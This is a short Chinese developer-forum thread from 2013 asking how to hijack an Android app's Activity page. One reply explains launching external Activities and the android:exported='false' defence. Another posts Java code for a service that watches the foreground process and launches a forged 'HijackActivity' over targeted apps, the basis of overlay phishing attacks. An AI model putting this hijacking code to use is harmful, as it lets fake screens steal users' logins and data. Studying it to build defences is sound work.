首页
社区
课程
招聘
[求助]求 对进程某个Activity页面劫持 方法
发表于: 2013-8-29 13:35 7800

[求助]求 对进程某个Activity页面劫持 方法

2013-8-29 13:35
7800
收藏
免费 0
支持
分享
最新回复 (4)
雪    币: 40
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
首先外部调用某APK的方法有:Activity、Application、Service、BroadcastReceiver、ContentProvider、 BackupAgentHelper、Preference和ILicensingService的子类。

调用的例子:

Intent intent=new Intent();
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
ComponentName cn=new ComponentName("com.example.soft","com.example.soft.notepad.ViewActivity");  
intent.setComponent(cn);
startActivity(intent);

阻止调用(之一):
AndroidManifest.xml中  android:exported="false" ,当然在程序中校验参数也好,就是即时调用了也没甚么用的目的。 仅供参考
2013-8-29 18:40
0
雪    币: 104
活跃值: (26)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
将下面一段代码作为一个服务开启。

ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
			List<RunningAppProcessInfo> infos = am.getRunningAppProcesses(); //枚举正在运行的进程列表
			for (RunningAppProcessInfo psinfo : infos) {
				if (psinfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) { //前台进程
					if (mhijackingList.contains(psinfo.processName)) {
//判断要劫持的Activity列表中是否包含前台正运行的Activity,其中mhijackingList是预先写好的
						Log.d("com.droider.hijacker", "hijacking start..");
						Intent intent = new Intent(getBaseContext(), HijackActivity.class);
						intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
						intent.putExtra("processname", psinfo.processName);
						getApplication().startActivity(intent);		//启动伪造的Activity						
					}
				}
			}


代码参考非虫大神
2013-8-29 19:12
0
雪    币: 53
活跃值: (270)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
4
楼上正解
前几天看到一流氓浮窗,全屏覆盖,太BT了,直接卸载了
2013-9-3 09:24
0
雪    币: 32
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
感谢感谢
2013-9-3 13:57
0
游客
登录 | 注册 方可回帖
返回
//